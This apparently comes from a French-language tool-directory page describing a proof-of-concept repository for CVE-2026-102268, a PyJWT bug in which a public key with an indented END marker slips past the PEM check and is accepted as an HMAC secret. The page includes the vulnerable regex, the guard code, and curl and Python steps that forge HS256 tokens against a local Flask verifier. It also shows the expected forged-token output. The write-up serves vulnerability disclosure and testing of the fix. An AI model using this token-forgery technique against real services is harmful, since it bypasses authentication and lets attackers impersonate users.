Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/covepseng/cve-2026-102268-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebCryptographieAuthentificationApprentissage et Éducation
GitHubcovepseng/cve-2026-102268-poc

cve-2026-102268-poc

PoC d'exploitabilité pour CVE-2026-102-268 (contournement de détection Asymmetric-PEM de PyJWT).

Voir le dépôt
il y a 1 jourPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-102268 — Contournement de la détection PEM asymétrique de PyJWT

Résultat de l'analyse d'exploitabilité : la cause racine est confirmée et l'exploitation de bout en bout est reproductible. Une clé publique PEM mutée par des espaces blancs contourne le garde-fou is_pem_format() de PyJWT et est acceptée comme un secret HMAC valide, permettant la falsification complète de jetons HS256 contre tout vérificateur qui autorise RS256 aux côtés de HS256. Voir Analyse pour les détails.


Table des matières

  • Vue d'ensemble
  • Versions affectées
  • Cause racine
  • Analyse
  • Structure du dépôt
  • Prérequis
  • Utilisation
  • Sortie attendue
  • Références
  • Avertissement

Vue d'ensemble

CVE-2026-102268 est une vulnérabilité de confusion d'algorithme dans PyJWT. Avant d'utiliser une clé quelconque comme secret HMAC, HMACAlgorithm.prepare_key() appelle is_pem_format() pour rejeter les clés qui ressemblent à une clé asymétrique ou un certificat encodé en PEM — la défense standard contre les attaques de confusion RS256/HS256.

is_pem_format() est une simple expression régulière qui exige une adjacence exacte \r?\n entre le corps de la clé et les marqueurs BEGIN/END. Le propre chargeur PEM de cryptography n'a pas une telle exigence. Un fichier PEM avec des espaces blancs adjacents aux marqueurs, des terminateurs de ligne CR seuls, ou replié sur une seule ligne est analysé comme une clé parfaitement valide par cryptography.load_pem_public_key(), tandis que is_pem_format() renvoie False sur les octets identiques.

La conséquence : le garde-fou de clé asymétrique ne se déclenche jamais, la clé publique est acceptée comme secret HMAC, et quiconque détient cette clé publique — qui est publique par définition — peut forger un jeton HS256 valide pour tout vérificateur qui autorise à la fois RS256 et HS256.

Ce dépôt contient un vérificateur Flask minimal et une clé de reproduction pour confirmer cette affirmation de bout en bout.


Versions affectées

Plage affectéeCorrigé dans
< 2.14.02.14.0

Cause racine

La vérification vulnérable dans jwt/utils.py (toutes les versions antérieures à 2.14.0) :

# jwt/utils.py — vulnerable
_PEM_RE = re.compile(
    b"----[- ]BEGIN ("
    + b"|".join(_PEMS)
    + b""")[- ]----\r?
.+?\r?
----[- ]END \1[- ]----\r?\n?"""
)

def is_pem_format(key: bytes) -> bool:
    return bool(_PEM_RE.search(key))

Le garde-fou associé, dans jwt/algorithms.py :

# jwt/algorithms.py — HMACAlgorithm.prepare_key()
if is_pem_format(key) or is_ssh_key(key):
    raise InvalidKeyError(
        "The specified key is an asymmetric key or x509 certificate and"
        " should not be used as an HMAC secret."
    )

Les séparateurs [- ] de l'expression régulière ne tolèrent qu'un seul tiret ou espace directement adjacent aux tirets du marqueur. Tout autre espace blanc situé entre le saut de ligne final du corps de la clé et le marqueur END — une indentation, un \r parasite, une seule ligne re-formatée — fait échouer la correspondance, de sorte que is_pem_format() renvoie False sur un fichier que cryptography analyse sans se plaindre.

Le correctif (commit 8b4e233, publié dans 2.14.0) remplace l'expression régulière par un scanner à passe unique sur l'ensemble des marqueurs BEGIN/END pris en charge, qui ne dépend pas de l'adjacence exacte des sauts de ligne — fermant ce contournement et, dans le même changement, un ReDoS associé dans la même fonction (CVE-2026-102270).


Analyse

public_key.pem dans ce dépôt est une clé publique RSA ordinaire de 2048 bits avec une seule modification : la ligne -----END PUBLIC KEY----- est indentée de quatre espaces.

1wIDAQAB
    -----END PUBLIC KEY-----
openssl rsa -pubin -in public_key.pem -text -noout   # parses cleanly, no warning

L'exécution de utils.py confirme le contournement directement contre la bibliothèque, indépendamment de l'application Flask :

$ python utils.py
JWT encoded successfully: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
JWT decoded successfully: {'some': 'payload'}

jwt.encode(..., PUBLIC_KEY, algorithm="HS256") réussit. Sur un PyJWT corrigé (≥ 2.14.0), ce même appel lève InvalidKeyError — is_pem_format() signale correctement le fichier comme une clé PEM quelle que soit l'indentation, et le chemin HMAC le refuse. Ici, ce n'est pas le cas : l'indentation de quatre espaces suffit à faire manquer l'expression régulière, et les octets de la clé publique sont acceptés comme un secret HMAC ordinaire.

app.py reproduit la condition préalable du monde réel — un vérificateur dont la liste d'autorisation algorithms mélange l'algorithme asymétrique et symétrique :

decoded_payload = jwt.decode(token, key=PUBLIC_KEY, algorithms=["RS256", "HS256"])

Un jeton forgé avec l'approche de utils.py, soumis à /verify, est accepté : /verify renvoie 200 et les revendications falsifiées, pour un jeton que personne détenant la clé privée n'a jamais signé.


Structure du dépôt

cve-2026-102268-poc/
├── Dockerfile              # Python 3.9-slim, installs PyJWT==2.4.0 (vulnerable)
├── podman-compose.yaml     # Single-service compose for the verifier
├── requirements.txt        # Flask, Werkzeug, PyJWT==2.4.0
├── app.py                  # Flask /verify route — algorithms=["RS256","HS256"]
├── utils.py                # Standalone PoC: signs + verifies HS256 with PUBLIC_KEY
├── public_key.pem          # RSA public key, END marker indented by 4 spaces
└── README.md

Prérequis

OutilVersionRemarques
Podman≥ 4.0Docker fonctionne aussi
Python≥ 3.9Uniquement pour exécuter utils.py localement
curlanyPour exercer /verify directement

Utilisation

1. Construire et démarrer le conteneur

podman-compose up -d

Attendez quelques secondes, puis confirmez que le service est démarré :

curl -si http://localhost:8080/verify -X POST \
  -H 'Content-Type: application/json' -d '{}' | head -1
# Expected: HTTP/1.1 400   (missing token, but the service is reachable)

2. Forger un jeton avec la clé publique

python utils.py

Cela signe {"some": "payload"} avec public_key.pem en utilisant HS256 et affiche le JWT résultant — la primitive de falsification. Copiez le jeton encodé.

3. Soumettre le jeton forgé au vérificateur

curl -s http://localhost:8080/verify \
  -H 'Content-Type: application/json' \
  -d '{"token": "<forged-jwt-here>"}'

4. Nettoyage

podman-compose down

Confirmer le correctif

Répétez l'étape 2 avec PyJWT>=2.14.0 installé à la place du 2.4.0 épinglé dans requirements.txt. jwt.encode() lève InvalidKeyError avant même qu'un jeton ne soit produit.


Sortie attendue

============================================================
 CVE-2026-102268 — PyJWT Asymmetric-PEM Detection Bypass PoC
============================================================
 Key      : public_key.pem (RSA public key, END marker indented)
 Target   : http://localhost:8080/verify
------------------------------------------------------------
[1] Signing forged token with PUBLIC_KEY as HS256 secret...
[+] JWT encoded successfully:
    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzb21lIjoicGF5bG9hZCJ9...
Télécharger l’outil